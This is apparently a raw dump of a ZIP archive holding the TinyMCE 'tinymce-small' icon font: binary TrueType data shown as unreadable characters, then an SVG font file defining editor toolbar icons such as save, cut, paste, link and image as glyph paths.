�	!'!�����������+����k@@�@$1!"3!2654&#818181!8132654&#"��&&&&����8((88((8@&��&&�&�@@� � ����(88((88(	@@�@$).36!"3!2654&##53#53#53!!3#53#53#53!%��&&&&�������������������� @&��&&�&�@�������������������@��:3#52#575!5!'"32>7>54.'.#���%�\�����-VQI  0""0  IQV--VQI  0""0  IQV-���%��@�@��"0  IQV--VQI  0""0  IQV--VQI  0"`���'7'	���@�@@��@��@��@��@N�f
)>S>7'%7.'"&/54632#"32>54.#".54>32#NQ&rE+NE;TEr&Q;EN+B�

n		`P�i<<i�PP�i<<i�P<iN--Ni<<iN--Ni<�3=[[+6B&�[[=3&B6+��I�

�7		<i�PP�i<<i�PP�i<�`-Ni<<iN--Ni<<iN-@��3@e>7>325.'.#"%"32>7.##"&54632#"&'.'>7>732654&'@"M*D�MM�D*M"4'TVY--YVT'4�E�sb&&bs�EE�sb&&bs�E%%%%�3l99l3'FF'

pPPp

'FF'�&?())(?&v%##%v�$C_::_C$$C_::_C$�%%%%�=%%='PppP'=%%=��.+"8137337>101#�;@<�q:�:q��''��> @� ��䤈�
@@�	"',1!!5!!!5!!5!!#533#5!3#5=3#3#553#@���@����������@��������@���@��@��@������������@��������@��!!@����@@��
7!!5###5!''7'77@��ݷ���@���>��>��>��>���@����@��>��>��>��>����%3#575#53#'#	373�����܈���������22@�<2@�R���������3#575#53#'#	373�����܈����������2@�<2@�n������@��4%5>54.#"#'!5.54>32!5#�9^D%Fz�]]�zF%D^9�@@&?-/Qm>>mQ/-?&@@��%GZj9P�i<<i�P9jZG%`��;KX0BuW22WuB0XK;��`@��.;HY2#"&'.5467>35"32>54.#132654&#"!32654&#""&'32>7#K�558855�KK�558855�K]�zFFz�]]�zFFz�]�%%%%%%%%@L�,	-CS//SC-	,�L4855�KK�558855�KK�558LFz�]]�zFFz�]]�zF��%%%%%%%%��3+,K88K,+3@@�@+!!5!";!532654&#!!#"&54632���&&��&&�����@���&�&��&&���@��
'7!7!7!!'!'!'7�������������`�����`��@��������`�����`��������@��"'9>C5#"'35#334&+"35353#54&#26=4&+32653#53#5��&�юR������@@&�&@����&��&�����@@&��	���F���@@���&&�������`&&`&�@&@�����@@��#53533##5!3!53�������������������@��@��@��#).39=A3#3#3#7#3!3#3#3#35353##!!!!35353#'3#����@���@��@��@�����@@��@@�����@��@@@�����@@��@@@�@@�@�@��@��@������@��@�@@@@��!%!3!3!#!#3#73#73#73#73#0��  ��� � ���������������������@��@����@@@@@@@@@���&,2#5267>54&'.#"33>3!3@]�zFFz�]G�225522�GG�2&2	���Nv�U����Fz�]]�zF`522�GG�22552&_4�Q�g;���@�@@ ->54.+!2>54&''46;2+5#"&=32#q$+#=R.� .R=#P?�C -- s�s� -- �S/+L8!�!8L+Bi�8((8��0�8((8�@@@#3!53#5!@����@���@@��@@�@�@@!7!!5#"&'.5#32>5#�@���=""=�-Ni<<iN-��@@���--���5]F((F]5�@@�@>!.#"&546323.'.#"!!#"&'#3267>54&'35���%^3CbbC8Yq+#&a55a&)--)��+9bC8Yq+#&a55a&)-��A-,A/#&ET-.T@
6",A/#&ET-3@�@@@"333335!�.R=##=R.�@���@@#=R..R=#�������@@�@"333335!7'�.R=##=R.�@���@����@#=R..R=#����������`@�@"333335!@.R=##=R.�@���@���@#=R..R=#�����������@�
"#5'!!!'#5#5%!3!!5333@�����@�ee��ee����@@�@����@��@���[eeee���@�������@�#'+/37;3#3#3#3#'3#3#'3#3#3#3#3#'3#'3#'3#'3#@@�@@@@@@�@@@@�@@�@@@@@@@@�@@�@@�@@�@@�@@@@@@@�@@@@@@@@@@@@@@@@@@@@@@��6C!'!!3!!.54>32'>54&#"3267?6&'%"&54632#��` ��@�xX ��@d'B0+Jc88cJ+#�
pPPppP2o3��3II33II3@@�����3BQ,8cJ++Jc8 �o2PppPPp
�3VI33II33I@��&+0@54&+54&+"#";!#81381#55!!!!373#35#5335�
�&�&�

�@�����������@���  @0�0@  @�
@&&@
�
�@@@�@@����@��@�@@�@��� `%KXk546;5#"+32;5#"&=4&'>5!54&+532;#"+5326=467.5'#"&54632"0>54&#�. Kk.  .kK .p. Kk.  .kK .�=++==++=h+=.<5#ANA=+Bh .hkKh .h. hKkh. h&CC&h .hkKh .h. hKkh. h&CC&+==++==+�=+*;>%ZX+=�C�_<��0=��0=���������9@�@@@@�@@��@@@p@@@@@@`N@�@@@@@@@@@@@����@�@`@@@��
l�0Rt�0~�@x��"Bb B`��Nn�z��		6	`	�	�
P
�
�,P��B���
0
R
|
�
�:���9��
�
H
�'
o
�	
	�	U	�	2	|	
4�tinymce-smalltinymce-smallVersion 1.0Version 1.0tinymce-smalltinymce-smalltinymce-smalltinymce-smallRegularRegulartinymce-smalltinymce-smallFont generated by IcoMoon.Font generated by IcoMoon.PK�^d[|�M X$X$fonts/tinymce-small.ttfnu�[����0OS/2$�`cmapƭ��lgasp�glyf	G��headg�{ �6hhea�� �$hmtx�� ��loca�$�Z!�tmaxpI�"H name�L܁"h�post$8 ��������3	@����@�@ P �(�2�5����� ��*�4�������   5��797979@��7%'!"3!2653#5!81!813#4&#!"#33!26=��!//!�!/��@@�����@&��&@@&@&�PP�/!� !//!������&&���&&������.'.#!"3!2654&'#5!8181!!81S�A�`&&�&.
�
����͆&�&& A-
�
��������095'.'7'./#'737>77'>?%#'573�hq�+�+�qh��hq�+�+�qh���������p�+�qh��hq�+�+�qh��hq�+������@@�!!!!!!!!@������@��@�����@���@@�!!!!!!!!@������������@���@@�!!!!!!!!@������@@��@�����@���@@�!!!!!!!!@���������������@����)w`*@Mc.'70>&'	1&67>'776&'#"&'&67>327"&54632##"&'.'&67>32`"V)?�$0����0$�?)V"9
//�8# ?? #8�//
9�))	�%%%%3)	)"# ?�,H\0��@0\H,�? #8�//
9"V)??)V"9
//�8Y$C
�%%%%�$
C@��',0754&+54&+"#";!7#81381#55!!537#!!�
�&�&�

������������ee����@�
@&&@
�
���@@�@@��ee����@��*9HW#35!3!35!3#";2653;2654&##"&546;2##"&546;2##"&546;2#x8@��@�@��@8**�*�*�**����@

@

<��@@@�@@�*�P**8��**�*�



�



��



�@�@%2!!!!!!32654&#"32654&#"32654&#"�@��@��@���%%%%%%%%%%%%@������%%%%��%%%%��%%%%���%!!!!!!5##3#33#3#3#5�@��@��@��@@�@@��������@�����n�@@�@2<�@@@@@2@@�!!!!!!!!@���@@��@������������@�����@@�!!!!!!!!@���@��@�����������@�����@��?2#".5'4>3">3!2#".5'4>3">3(F44F('F4<h�O7d&
(F44F('F4<h�O7d&
 7J*+J7  7J+T�o@t,*	 7J*+J7  7J+T�o@t,*	p��%>.	6�$"����P��?OlK��S�PP�y�x@��5	5&.>@P����"$lO?̰������S��Kx��y@��0m'.#"7'&4?>32#"&/326?64'#"&/.546?>327'.#"326?>54&/"&'&4762#��))�!!D���D))�!!��D���D))��))��@ ��څ�!]!D
��
�D�!]!��D���D�))��))m @ ��@��0m�����'.#"7'&4?>32#"&/326?64'#"&/.546?>327'.#"326?>54&/"&/&4762#"&=4632##"&546;2#2"/&47>372#"&=46332+"&5463��))�!!D���D))�!!��D���D))��))��� ��



@�

�

�@� ��



���

�

څ�!]!D
��
�D�!]!��D���D�))��))�� � z
�

�
@



�� � z
�

�
��



�	!'!�����������+����k@@�@$1!"3!2654&#818181!8132654&#"��&&&&����8((88((8@&��&&�&�@@� � ����(88((88(	@@�@$).36!"3!2654&##53#53#53!!3#53#53#53!%��&&&&�������������������� @&��&&�&�@�������������������@��:3#52#575!5!'"32>7>54.'.#���%�\�����-VQI  0""0  IQV--VQI  0""0  IQV-���%��@�@��"0  IQV--VQI  0""0  IQV--VQI  0"`���'7'	���@�@@��@��@��@��@N�f
)>S>7'%7.'"&/54632#"32>54.#".54>32#NQ&rE+NE;TEr&Q;EN+B�

n		`P�i<<i�PP�i<<i�P<iN--Ni<<iN--Ni<�3=[[+6B&�[[=3&B6+��I�

�7		<i�PP�i<<i�PP�i<�`-Ni<<iN--Ni<<iN-@��3@e>7>325.'.#"%"32>7.##"&54632#"&'.'>7>732654&'@"M*D�MM�D*M"4'TVY--YVT'4�E�sb&&bs�EE�sb&&bs�E%%%%�3l99l3'FF'

pPPp

'FF'�&?())(?&v%##%v�$C_::_C$$C_::_C$�%%%%�=%%='PppP'=%%=��.+"8137337>101#�;@<�q:�:q��''��> @� ��䤈�
@@�	"',1!!5!!!5!!5!!#533#5!3#5=3#3#553#@���@����������@��������@���@��@��@������������@��������@��!!@����@@��
7!!5###5!''7'77@��ݷ���@���>��>��>��>���@����@��>��>��>��>����%3#575#53#'#	373�����܈���������22@�<2@�R���������3#575#53#'#	373�����܈����������2@�<2@�n������@��4%5>54.#"#'!5.54>32!5#�9^D%Fz�]]�zF%D^9�@@&?-/Qm>>mQ/-?&@@��%GZj9P�i<<i�P9jZG%`��;KX0BuW22WuB0XK;��`@��.;HY2#"&'.5467>35"32>54.#132654&#"!32654&#""&'32>7#K�558855�KK�558855�K]�zFFz�]]�zFFz�]�%%%%%%%%@L�,	-CS//SC-	,�L4855�KK�558855�KK�558LFz�]]�zFFz�]]�zF��%%%%%%%%��3+,K88K,+3@@�@+!!5!";!532654&#!!#"&54632���&&��&&�����@���&�&��&&���@��
'7!7!7!!'!'!'7�������������`�����`��@��������`�����`��������@��"'9>C5#"'35#334&+"35353#54&#26=4&+32653#53#5��&�юR������@@&�&@����&��&�����@@&��	���F���@@���&&�������`&&`&�@&@�����@@��#53533##5!3!53�������������������@��@��@��#).39=A3#3#3#7#3!3#3#3#35353##!!!!35353#'3#����@���@��@��@�����@@��@@�����@��@@@�����@@��@@@�@@�@�@��@��@������@��@�@@@@��!%!3!3!#!#3#73#73#73#73#0��  ��� � ���������������������@��@����@@@@@@@@@���&,2#5267>54&'.#"33>3!3@]�zFFz�]G�225522�GG�2&2	���Nv�U����Fz�]]�zF`522�GG�22552&_4�Q�g;���@�@@ ->54.+!2>54&''46;2+5#"&=32#q$+#=R.� .R=#P?�C -- s�s� -- �S/+L8!�!8L+Bi�8((8��0�8((8�@@@#3!53#5!@����@���@@��@@�@�@@!7!!5#"&'.5#32>5#�@���=""=�-Ni<<iN-��@@���--���5]F((F]5�@@�@>!.#"&546323.'.#"!!#"&'#3267>54&'35���%^3CbbC8Yq+#&a55a&)--)��+9bC8Yq+#&a55a&)-��A-,A/#&ET-.T@
6",A/#&ET-3@�@@@"333335!�.R=##=R.�@���@@#=R..R=#�������@@�@"333335!7'�.R=##=R.�@���@����@#=R..R=#����������`@�@"333335!@.R=##=R.�@���@���@#=R..R=#�����������@�
"#5'!!!'#5#5%!3!!5333@�����@�ee��ee����@@�@����@��@���[eeee���@�������@�#'+/37;3#3#3#3#'3#3#'3#3#3#3#3#'3#'3#'3#'3#@@�@@@@@@�@@@@�@@�@@@@@@@@�@@�@@�@@�@@�@@@@@@@�@@@@@@@@@@@@@@@@@@@@@@��6C!'!!3!!.54>32'>54&#"3267?6&'%"&54632#��` ��@�xX ��@d'B0+Jc88cJ+#�
pPPppP2o3��3II33II3@@�����3BQ,8cJ++Jc8 �o2PppPPp
�3VI33II33I@��&+0@54&+54&+"#";!#81381#55!!!!373#35#5335�
�&�&�

�@�����������@���  @0�0@  @�
@&&@
�
�@@@�@@����@��@�@@�@��� `%KXk546;5#"+32;5#"&=4&'>5!54&+532;#"+5326=467.5'#"&54632"0>54&#�. Kk.  .kK .p. Kk.  .kK .�=++==++=h+=.<5#ANA=+Bh .hkKh .h. hKkh. h&CC&h .hkKh .h. hKkh. h&CC&+==++==+�=+*;>%ZX+=�C�_<��0=��0=���������9@�@@@@�@@��@@@p@@@@@@`N@�@@@@@@@@@@@����@�@`@@@��
l�0Rt�0~�@x��"Bb B`��Nn�z��		6	`	�	�
P
�
�,P��B���
0
R
|
�
�:���9��
�
H
�'
o
�	
	�	U	�	2	|	
4�tinymce-smalltinymce-smallVersion 1.0Version 1.0tinymce-smalltinymce-smalltinymce-smalltinymce-smallRegularRegulartinymce-smalltinymce-smallFont generated by IcoMoon.Font generated by IcoMoon.PK�^d[J���`�`fonts/tinymce-small.svgnu�[���<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata>Generated by IcoMoon</metadata>
<defs>
<font id="tinymce-small" horiz-adv-x="1024">
<font-face units-per-em="1024" ascent="960" descent="-64" />
<missing-glyph horiz-adv-x="1024" />
<glyph unicode="&#x20;" horiz-adv-x="512" d="" />
<glyph unicode="&#xe000;" glyph-name="save" d="M960 80v591.938l-223.938 224.062h-592.062c-44.182 0-80-35.816-80-80v-736c0-44.184 35.818-80 80-80h736c44.184 0 80 35.816 80 80zM576 768h64v-192h-64v192zM704 128h-384v255.882c0.034 0.042 0.076 0.082 0.116 0.118h383.77c0.040-0.036 0.082-0.076 0.116-0.118l-0.002-255.882zM832 128h-64v256c0 35.2-28.8 64-64 64h-384c-35.2 0-64-28.8-64-64v-256h-64v640h64v-192c0-35.2 28.8-64 64-64h320c35.2 0 64 28.8 64 64v171.010l128-128.072v-490.938z" />
<glyph unicode="&#xe001;" glyph-name="newdocument" d="M850.746 717.254l-133.492 133.49c-24.888 24.892-74.054 45.256-109.254 45.256h-416c-35.2 0-64-28.8-64-64v-768c0-35.2 28.8-64 64-64h640c35.2 0 64 28.8 64 64v544c0 35.2-20.366 84.364-45.254 109.254zM805.49 672.002c6.792-6.796 13.792-19.162 18.894-32.002h-184.384v184.386c12.84-5.1 25.204-12.1 32-18.896l133.49-133.488zM831.884 64h-639.77c-0.040 0.034-0.082 0.076-0.114 0.116v767.77c0.034 0.040 0.076 0.082 0.114 0.114h383.886v-256h256v-511.884c-0.034-0.040-0.076-0.082-0.116-0.116z" />
<glyph unicode="&#xe002;" glyph-name="fullpage" d="M1024 367.542v160.916l-159.144 15.914c-8.186 30.042-20.088 58.548-35.21 84.98l104.596 127.838-113.052 113.050-127.836-104.596c-26.434 15.124-54.942 27.026-84.982 35.208l-15.914 159.148h-160.916l-15.914-159.146c-30.042-8.186-58.548-20.086-84.98-35.208l-127.838 104.594-113.050-113.050 104.596-127.836c-15.124-26.432-27.026-54.94-35.21-84.98l-159.146-15.916v-160.916l159.146-15.914c8.186-30.042 20.086-58.548 35.21-84.982l-104.596-127.836 113.048-113.048 127.838 104.596c26.432-15.124 54.94-27.028 84.98-35.21l15.916-159.148h160.916l15.914 159.144c30.042 8.186 58.548 20.088 84.982 35.21l127.836-104.596 113.048 113.048-104.596 127.836c15.124 26.434 27.028 54.942 35.21 84.98l159.148 15.92zM704 384l-128-128h-128l-128 128v128l128 128h128l128-128v-128z" />
<glyph unicode="&#xe003;" glyph-name="alignleft" d="M64 768h896v-128h-896zM64 384h896v-128h-896zM64 576h576v-128h-576zM64 192h576v-128h-576z" />
<glyph unicode="&#xe004;" glyph-name="aligncenter" d="M64 768h896v-128h-896zM64 384h896v-128h-896zM256 576h512v-128h-512zM256 192h512v-128h-512z" />
<glyph unicode="&#xe005;" glyph-name="alignright" d="M64 768h896v-128h-896zM64 384h896v-128h-896zM384 576h576v-128h-576zM384 192h576v-128h-576z" />
<glyph unicode="&#xe006;" glyph-name="alignjustify" d="M64 768h896v-128h-896zM64 384h896v-128h-896zM64 576h896v-128h-896zM64 192h896v-128h-896z" />
<glyph unicode="&#xe007;" glyph-name="cut" d="M864.408 289.868c-46.47 46.47-106.938 68.004-161.082 62.806l-63.326 63.326 192 192c0 0 128 128 0 256l-320-320-320 320c-128-128 0-256 0-256l192-192-63.326-63.326c-54.144 5.198-114.61-16.338-161.080-62.806-74.98-74.98-85.112-186.418-22.626-248.9 62.482-62.482 173.92-52.354 248.9 22.626 46.47 46.468 68.002 106.938 62.806 161.080l63.326 63.326 63.328-63.328c-5.196-54.144 16.336-114.61 62.806-161.078 74.978-74.98 186.418-85.112 248.898-22.626 62.488 62.482 52.356 173.918-22.624 248.9zM353.124 201.422c-2.212-24.332-15.020-49.826-35.14-69.946-22.212-22.214-51.080-35.476-77.218-35.476-10.524 0-25.298 2.228-35.916 12.848-21.406 21.404-17.376 73.132 22.626 113.136 22.212 22.214 51.080 35.476 77.218 35.476 10.524 0 25.298-2.228 35.916-12.848 13.112-13.11 13.47-32.688 12.514-43.19zM512 352c-35.346 0-64 28.654-64 64s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64zM819.152 108.848c-10.62-10.62-25.392-12.848-35.916-12.848-26.138 0-55.006 13.262-77.218 35.476-20.122 20.12-32.928 45.614-35.138 69.946-0.958 10.502-0.6 30.080 12.514 43.192 10.618 10.622 25.39 12.848 35.916 12.848 26.136 0 55.006-13.262 77.216-35.474 40.004-40.008 44.032-91.736 22.626-113.14z" />
<glyph unicode="&#xe008;" glyph-name="paste" d="M704 576v160c0 17.6-14.4 32-32 32h-160v64c0 35.2-28.8 64-64 64h-128c-35.204 0-64-28.8-64-64v-64h-160c-17.602 0-32-14.4-32-32v-512c0-17.6 14.398-32 32-32h224v-192h384l192 192v384h-192zM320 831.886c0.034 0.038 0.072 0.078 0.114 0.114h127.768c0.042-0.036 0.082-0.076 0.118-0.114v-63.886h-128v63.886zM192 640v64h384v-64h-384zM704 90.51v101.49h101.49l-101.49-101.49zM832 256h-192v-192h-256v448h448v-256z" />
<glyph unicode="&#xe009;" glyph-name="searchreplace" d="M888 576h-56v256h64v64h-320v-64h64v-256h-256v256h64v64h-320v-64h64v-256h-56c-39.6 0-72-32.4-72-72v-432c0-39.6 32.4-72 72-72h240c39.6 0 72 32.4 72 72v312h128v-312c0-39.6 32.4-72 72-72h240c39.6 0 72 32.4 72 72v432c0 39.6-32.4 72-72 72zM348 64h-184c-19.8 0-36 14.4-36 32s16.2 32 36 32h184c19.8 0 36-14.4 36-32s-16.2-32-36-32zM544 448h-64c-17.6 0-32 14.4-32 32s14.4 32 32 32h64c17.6 0 32-14.4 32-32s-14.4-32-32-32zM860 64h-184c-19.8 0-36 14.4-36 32s16.2 32 36 32h184c19.8 0 36-14.4 36-32s-16.2-32-36-32z" />
<glyph unicode="&#xe00a;" glyph-name="bullist" d="M384 832h576v-128h-576zM384 512h576v-128h-576zM384 192h576v-128h-576zM128 768c0-35.346 28.654-64 64-64s64 28.654 64 64c0 35.346-28.654 64-64 64s-64-28.654-64-64zM128 448c0-35.346 28.654-64 64-64s64 28.654 64 64c0 35.346-28.654 64-64 64s-64-28.654-64-64zM128 128c0-35.346 28.654-64 64-64s64 28.654 64 64c0 35.346-28.654 64-64 64s-64-28.654-64-64z" />
<glyph unicode="&#xe00b;" glyph-name="numlist" d="M384 832h576v-128h-576zM384 512h576v-128h-576zM384 192h576v-128h-576zM320 430v146h-64v320h-128v-64h64v-256h-64v-64h128v-50l-128-60v-146h128v-64h-128v-64h128v-64h-128v-64h192v320h-128v50z" />
<glyph unicode="&#xe00c;" glyph-name="indent" d="M64 768h896v-128h-896zM384 384h576v-128h-576zM384 576h576v-128h-576zM64 192h896v-128h-896zM64 576l224-160-224-160z" />
<glyph unicode="&#xe00d;" glyph-name="outdent" d="M64 768h896v-128h-896zM64 384h576v-128h-576zM64 576h576v-128h-576zM64 192h896v-128h-896zM960 576l-224-160 224-160z" />
<glyph unicode="&#xe00e;" glyph-name="blockquote" d="M256.428 535.274c105.8 0 191.572-91.17 191.572-203.638 0-112.464-85.772-203.636-191.572-203.636-105.802 0-191.572 91.17-191.572 203.636l-0.856 29.092c0 224.93 171.54 407.272 383.144 407.272v-116.364c-73.1 0-141.826-30.26-193.516-85.204-9.954-10.578-19.034-21.834-27.224-33.656 9.784 1.64 19.806 2.498 30.024 2.498zM768.428 535.274c105.8 0 191.572-91.17 191.572-203.638 0-112.464-85.772-203.636-191.572-203.636-105.802 0-191.572 91.17-191.572 203.636l-0.856 29.092c0 224.93 171.54 407.272 383.144 407.272v-116.364c-73.1 0-141.826-30.26-193.516-85.204-9.956-10.578-19.036-21.834-27.224-33.656 9.784 1.64 19.806 2.498 30.024 2.498z" />
<glyph unicode="&#xe00f;" glyph-name="undo" d="M704 0c59 199 134.906 455.266-256 446.096v-222.096l-336.002 336 336.002 336v-217.326c468.092 12.2 544-358.674 256-678.674z" />
<glyph unicode="&#xe010;" glyph-name="redo" d="M576 678.674v217.326l336.002-336-336.002-336v222.096c-390.906 9.17-315-247.096-256-446.096-288 320-212.092 690.874 256 678.674z" />
<glyph unicode="&#xe011;" glyph-name="unlink" d="M927.274 729.784l-133.49 133.488c-21.104 21.104-49.232 32.728-79.198 32.728s-58.094-11.624-79.196-32.726l-165.492-165.49c-43.668-43.668-43.668-114.724 0-158.392l2.746-2.746 67.882 67.882-2.746 2.746c-6.132 6.132-6.132 16.494 0 22.626l165.492 165.492c4.010 4.008 8.808 4.608 11.312 4.608s7.302-0.598 11.312-4.61l133.49-133.488c6.132-6.134 6.132-16.498 0.002-22.628l-165.494-165.494c-4.008-4.008-8.806-4.608-11.31-4.608s-7.302 0.6-11.312 4.612l-2.746 2.746-67.88-67.884 2.742-2.742c21.106-21.108 49.23-32.728 79.2-32.728s58.094 11.624 79.196 32.726l165.494 165.492c43.662 43.666 43.662 114.72-0.004 158.39zM551.356 359.356l-67.882-67.882 2.746-2.746c4.008-4.008 4.61-8.806 4.61-11.31 0-2.506-0.598-7.302-4.606-11.314l-165.494-165.49c-4.010-4.010-8.81-4.61-11.314-4.61s-7.304 0.6-11.314 4.61l-133.492 133.486c-4.010 4.010-4.61 8.81-4.61 11.314s0.598 7.3 4.61 11.312l165.49 165.488c4.010 4.012 8.81 4.612 11.314 4.612s7.304-0.6 11.314-4.612l2.746-2.742 67.882 67.88-2.746 2.746c-21.104 21.104-49.23 32.726-79.196 32.726s-58.092-11.624-79.196-32.726l-165.488-165.486c-21.106-21.104-32.73-49.234-32.73-79.198s11.624-58.094 32.726-79.198l133.49-133.49c21.106-21.102 49.232-32.726 79.198-32.726s58.092 11.624 79.196 32.726l165.494 165.492c21.104 21.104 32.722 49.23 32.722 79.196s-11.624 58.094-32.726 79.196l-2.744 2.746zM352 250c-9.724 0-19.45 3.71-26.87 11.128-14.84 14.84-14.84 38.898 0 53.738l320 320c14.84 14.84 38.896 14.84 53.736 0 14.844-14.84 14.844-38.9 0-53.74l-320-320c-7.416-7.416-17.142-11.126-26.866-11.126z" />
<glyph unicode="&#xe012;" glyph-name="link" d="M927.274 729.784l-133.49 133.488c-21.104 21.104-49.232 32.728-79.198 32.728s-58.094-11.624-79.196-32.726l-165.492-165.49c-43.668-43.668-43.668-114.724 0-158.392l2.746-2.746 67.882 67.882-2.746 2.746c-6.132 6.132-6.132 16.494 0 22.626l165.492 165.492c4.010 4.008 8.808 4.608 11.312 4.608s7.302-0.598 11.312-4.61l133.49-133.488c6.132-6.134 6.132-16.498 0.002-22.628l-165.494-165.494c-4.008-4.008-8.806-4.608-11.31-4.608s-7.302 0.6-11.312 4.612l-2.746 2.746-67.88-67.884 2.742-2.742c21.106-21.108 49.23-32.728 79.2-32.728s58.094 11.624 79.196 32.726l165.494 165.492c43.662 43.666 43.662 114.72-0.004 158.39zM551.356 359.356l-67.882-67.882 2.746-2.746c4.008-4.008 4.61-8.806 4.61-11.31 0-2.506-0.598-7.302-4.606-11.314l-165.494-165.49c-4.010-4.010-8.81-4.61-11.314-4.61s-7.304 0.6-11.314 4.61l-133.492 133.486c-4.010 4.010-4.61 8.81-4.61 11.314s0.598 7.3 4.61 11.312l165.49 165.488c4.010 4.012 8.81 4.612 11.314 4.612s7.304-0.6 11.314-4.612l2.746-2.742 67.882 67.88-2.746 2.746c-21.104 21.104-49.23 32.726-79.196 32.726s-58.092-11.624-79.196-32.726l-165.488-165.486c-21.106-21.104-32.73-49.234-32.73-79.198s11.624-58.094 32.726-79.198l133.49-133.49c21.106-21.102 49.232-32.726 79.198-32.726s58.092 11.624 79.196 32.726l165.494 165.492c21.104 21.104 32.722 49.23 32.722 79.196s-11.624 58.094-32.726 79.196l-2.744 2.746zM800 122c-9.724 0-19.45 3.708-26.87 11.13l-128 127.998c-14.844 14.84-14.844 38.898 0 53.738 14.84 14.844 38.896 14.844 53.736 0l128-128c14.844-14.84 14.844-38.896 0-53.736-7.416-7.422-17.142-11.13-26.866-11.13zM608 0c-17.674 0-32 14.326-32 32v128c0 17.674 14.326 32 32 32s32-14.326 32-32v-128c0-17.674-14.326-32-32-32zM928 320h-128c-17.674 0-32 14.326-32 32s14.326 32 32 32h128c17.674 0 32-14.326 32-32s-14.326-32-32-32zM224 774c9.724 0 19.45-3.708 26.87-11.13l128-128c14.842-14.84 14.842-38.898 0-53.738-14.84-14.844-38.898-14.844-53.738 0l-128 128c-14.842 14.84-14.842 38.898 0 53.738 7.418 7.422 17.144 11.13 26.868 11.13zM416 896c17.674 0 32-14.326 32-32v-128c0-17.674-14.326-32-32-32s-32 14.326-32 32v128c0 17.674 14.326 32 32 32zM96 576h128c17.674 0 32-14.326 32-32s-14.326-32-32-32h-128c-17.674 0-32 14.326-32 32s14.326 32 32 32z" />
<glyph unicode="&#xe013;" glyph-name="bookmark" d="M256 896v-896l256 256 256-256v896h-512zM704 170.51l-192 192-192-192v661.49h384v-661.49z" />
<glyph unicode="&#xe014;" glyph-name="image" d="M896 832h-768c-35.2 0-64-28.8-64-64v-640c0-35.2 28.8-64 64-64h768c35.2 0 64 28.8 64 64v640c0 35.2-28.8 64-64 64zM896 128.116c-0.012-0.014-0.030-0.028-0.042-0.042l-191.958 319.926-160-128-224 288-191.968-479.916c-0.010 0.010-0.022 0.022-0.032 0.032v639.77c0.034 0.040 0.076 0.082 0.114 0.114h767.77c0.040-0.034 0.082-0.076 0.116-0.116v-639.768zM640 608c0-53.019 42.981-96 96-96s96 42.981 96 96c0 53.019-42.981 96-96 96s-96-42.981-96-96z" />
<glyph unicode="&#xe015;" glyph-name="media" d="M896 832h-768c-35.2 0-64-28.8-64-64v-640c0-35.2 28.8-64 64-64h768c35.2 0 64 28.8 64 64v640c0 35.2-28.8 64-64 64zM256 128h-128v128h128v-128zM256 384h-128v128h128v-128zM256 640h-128v128h128v-128zM704 128h-384v640h384v-640zM896 128h-128v128h128v-128zM896 384h-128v128h128v-128zM896 640h-128v128h128v-128zM384 640v-384l288 192z" />
<glyph unicode="&#xe016;" glyph-name="help" d="M448 256h128v-128h-128v128zM704 704c35.346 0 64-28.654 64-64v-166l-228-154h-92v64l192 128v64h-320v128h384zM512 896c-119.666 0-232.166-46.6-316.784-131.216-84.614-84.618-131.216-197.118-131.216-316.784 0-119.664 46.602-232.168 131.216-316.784 84.618-84.616 197.118-131.216 316.784-131.216 119.664 0 232.168 46.6 316.784 131.216s131.216 197.12 131.216 316.784c0 119.666-46.6 232.166-131.216 316.784-84.616 84.616-197.12 131.216-316.784 131.216z" />
<glyph unicode="&#xe017;" glyph-name="code" d="M416 256l-192 192 192 192-64 64-256-256 256-256zM672 704l-64-64 192-192-192-192 64-64 256 256z" />
<glyph unicode="&#xe018;" glyph-name="insertdatetime" d="M77.798 655.376l81.414-50.882c50.802 81.114 128.788 143.454 221.208 174.246l-30.366 91.094c-113.748-37.898-209.728-114.626-272.256-214.458zM673.946 869.834l-30.366-91.094c92.422-30.792 170.404-93.132 221.208-174.248l81.412 50.882c-62.526 99.834-158.506 176.562-272.254 214.46zM607.974 255.992c-4.808 0-9.692 1.090-14.286 3.386l-145.688 72.844v211.778c0 17.672 14.328 32 32 32s32-14.328 32-32v-172.222l110.31-55.156c15.806-7.902 22.214-27.124 14.31-42.932-5.604-11.214-16.908-17.696-28.646-17.698zM512 768c-212.078 0-384-171.922-384-384s171.922-384 384-384c212.078 0 384 171.922 384 384s-171.922 384-384 384zM512 96c-159.058 0-288 128.942-288 288s128.942 288 288 288c159.058 0 288-128.942 288-288s-128.942-288-288-288z" />
<glyph unicode="&#xe019;" glyph-name="preview" d="M64 504.254c45.318 49.92 97.162 92.36 153.272 125.124 90.332 52.744 192.246 80.622 294.728 80.622 102.48 0 204.396-27.878 294.726-80.624 56.112-32.764 107.956-75.204 153.274-125.124v117.432c-33.010 28.118-68.124 53.14-104.868 74.594-105.006 61.314-223.658 93.722-343.132 93.722s-238.128-32.408-343.134-93.72c-36.742-21.454-71.856-46.478-104.866-74.596v-117.43zM512 640c-183.196 0-345.838-100.556-448-256 102.162-155.448 264.804-256 448-256s345.838 100.552 448 256c-102.162 155.444-264.804 256-448 256zM512 448c0-35.346-28.654-64-64-64s-64 28.654-64 64c0 35.348 28.654 64 64 64s64-28.652 64-64zM728.066 263.338c-67.434-39.374-140.128-59.338-216.066-59.338s-148.632 19.964-216.066 59.338c-51.554 30.104-98.616 71.31-138.114 120.662 39.498 49.35 86.56 90.558 138.116 120.66 13.276 7.752 26.758 14.74 40.426 20.982-10.512-23.742-16.362-50.008-16.362-77.642 0-106.040 85.962-192 192-192 106.040 0 192 85.96 192 192 0 27.634-5.85 53.9-16.36 77.642 13.668-6.244 27.15-13.23 40.426-20.982 51.554-30.102 98.616-71.31 138.116-120.66-39.498-49.352-86.56-90.558-138.116-120.662z" />
<glyph unicode="&#xe01a;" glyph-name="forecolor" d="M651.168 676.166c-24.612 81.962-28.876 91.834-107.168 91.834h-64c-79.618 0-82.664-10.152-108.418-96 0-0.002 0-0.002-0.002-0.004l-143.998-479.996h113.636l57.6 192h226.366l57.6-192h113.63l-145.246 484.166zM437.218 512l38.4 136c10.086 33.618 36.38 30 36.38 30s26.294 3.618 36.38-30h0.004l38.4-136h-149.564z" />
